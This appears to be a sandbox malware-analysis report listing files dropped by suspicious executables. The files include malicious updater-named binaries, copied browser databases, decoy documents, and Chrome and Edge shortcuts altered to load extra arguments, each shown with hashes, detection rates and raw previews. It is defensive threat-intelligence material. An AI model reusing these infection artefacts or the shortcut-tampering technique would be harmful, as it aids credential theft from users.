Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKK\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHCBKKKFHCGCBFIJEHDGIDGCF

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FENIVHOIKN.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Reputation:	unknown
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\ProgramData\FENIVHOIKN.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Reputation:	unknown
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\ProgramData\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	unknown
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Reputation:	unknown
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\ProgramData\KJJJJDHIDBGHIDHIDAFBAECGHJ

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3140096
Entropy (8bit):	7.991925992203975
Encrypted:	true
SSDEEP:	49152:C5T9OVJvD7NiQZS6tWYlDfqv19jsnUiyidIz1lQRtOXY9hzQgKBfpfMc6slxVuOZ:CHO3vcFA1fSjsnUiyXYR/mBfhMc6slxF
MD5:	43B0FD4A4213AA702E6BB8E8B67A9E2B
SHA1:	2A1EAF3F5176E62A9AF9FDDBBE20163246E4C43F
SHA-256:	0554227F93F8E1E94A53EA0BE12EBC775EC0D0A02C38818E06271EE11528BC9E
SHA-512:	19B6C145B824609B72942E95FC9FD367858151310A0D1298214C8CF5D01F9A38B9927D3E19952483E63ED1FE4C023A8F67C5A06FD92E8E5F5E8C61466B2E1018
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|....................@.......................... ............@... .. .... .. ..........PP......L_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........x......(..................@....data.....".. ....!.................@...................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:17 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	3.5083428015457585
Encrypted:	false
SSDEEP:	48:8SAdZTzoRGRYrnvVdAKRkdA5q+9Jq87dAKRFdAKR/U:8Suw1
MD5:	9DD64AEACB45E533928AE869851B9F39
SHA1:	08D50F9A9150CEF39655016DEC7528F03619947B
SHA-256:	EDFF9E918E6283895F49F894AD20CD559A71B58A63DD7057B521EDD48C043DA1
SHA-512:	F61E5A29BB86FC9569A88ED7CB3D73ED68E0EB885469C33848387F7D0501224E52541B27DEB6FCC86FA08ED701CF9A73FDEFF95107A1297F92E291A9DBB2E74A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....FH.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW.V....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDW(W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-.-.l.o.a.d.-

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 11:10:59 2023, atime=Fri Sep 29 11:17:35 2023, length=4210216, window=hide
Category:	modified
Size (bytes):	2566
Entropy (8bit):	3.68716965568835
Encrypted:	false
SSDEEP:	48:8sQJG+dOSzrhs+frnzldRdJq+9Jq5dLXuHj0PkFmq4:8G2hIuD0Pkkq
MD5:	92EB75E728257031E47B78570EDFE928
SHA1:	D57EB43B2056B2FDB2A1914A628F63F39394AC0A
SHA-256:	39772088031D463517F9E314BB615F0CBD3661C886414F2B68C163E38E2F09F6
SHA-512:	2F755ABCB87CE7FE66CA388942536BDFCFD2F8B9508614381B9B3B4DFA29EB75132021D2C3CEB92B31DCD24408274B3BE04C05F557707D4A7924CAB09C903BAF
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....\|.K....f......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....CWSa..PROGRA~2.........O.ICWSa....................V.......:.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.`..MICROS~1..D......(Ux.CW.`..........................6\|..M.i.c.r.o.s.o.f.t.....N.1.....CW\a0.Edge..:.......S8.CW\a...........................AI.E.d.g.e.....`.1.....CW`a0.APPLIC~1..H.......S8.CW`a..........................r.N.A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8.CW`a....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.H.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_l9lSJ9GGGlvKrfyi_eadcd72a7d1ad61c8f7cbf3dd4b3fb23f20186_1a3f1bef_46d76e54-91fb-4a58-bf12-c510a46cd9e1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8527808188315289
Encrypted:	false
SSDEEP:	96:BxYlzCd+8yeC5gasdmhq7oA7RT6tQXIDcQnc6rCcEhcw3rpRYRg+HbHg/8BRTf3r:HYlOytHgX056r4juRzuiFHZ24IO87
MD5:	6E073FF877581FB8BB6552AE08DE641C
SHA1:	332D53FD98AF1E70A9952C1EBD5015D7AD8CC981
SHA-256:	425148D3BBA50335948E0E2A2E2EC83EAA486F8EC43C281FF90C034DD8A99D32
SHA-512:	2D2B0C8A49B518CD2D753D8EE58887242FD812FC60F2F814E9D63889A0CCB5F0E0ADB7C8A687288BD4D18B3A79BE1C0D977C664EECE19979895E6088E3C67E0E
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.1.0.2.4.5.4.4.0.8.4.9.8.6.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.6.d.7.6.e.5.4.-.9.1.f.b.-.4.a.5.8.-.b.f.1.2.-.c.5.1.0.a.4.6.c.d.9.e.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.0.f.4.6.5.a.-.1.0.4.c.-.4.9.2.6.-.8.5.0.5.-.b.4.f.4.9.2.e.2.8.a.e.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.9.l.S.J.9.G.G.G.l.v.K.r.f.y.i.v.p.a.c.g.P.F.W...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.c.c.-.0.0.0.1.-.0.0.1.4.-.c.f.9.f.-.8.1.6.e.c.f.a.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.6.7.1.9.c.5.6.5.5.7.9.f.c.0.9.4.8.1.6.1.a.1.2.9.5.b.1.5.6.0.e.0.0.0.0.f.f.f.f.!.0.0.0.0.2.a.e.3.7.c.1.4.f.a.3.9.3.d.c.b.d.6.8.a.5.7.a.4.9.e.3.e.e.c.a.c.f.5.b.e.0.b.5.0.!.l.9.l.S.J.9.G.G.G.l.v.K.r.f.y.i.v.p.a.c.g.P.F.W...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.l.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11CB.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96350
Entropy (8bit):	3.087412533698222
Encrypted:	false
SSDEEP:	1536:TAwbDzdtMr8ZKMl0RSjm2Kqj1NZI7/ViIk2aX:TAwbDzdtMr8ZKMl0RSjm2pj1NZI7/Vif
MD5:	206280DEABB4CE95EB7E5954A03C0F88
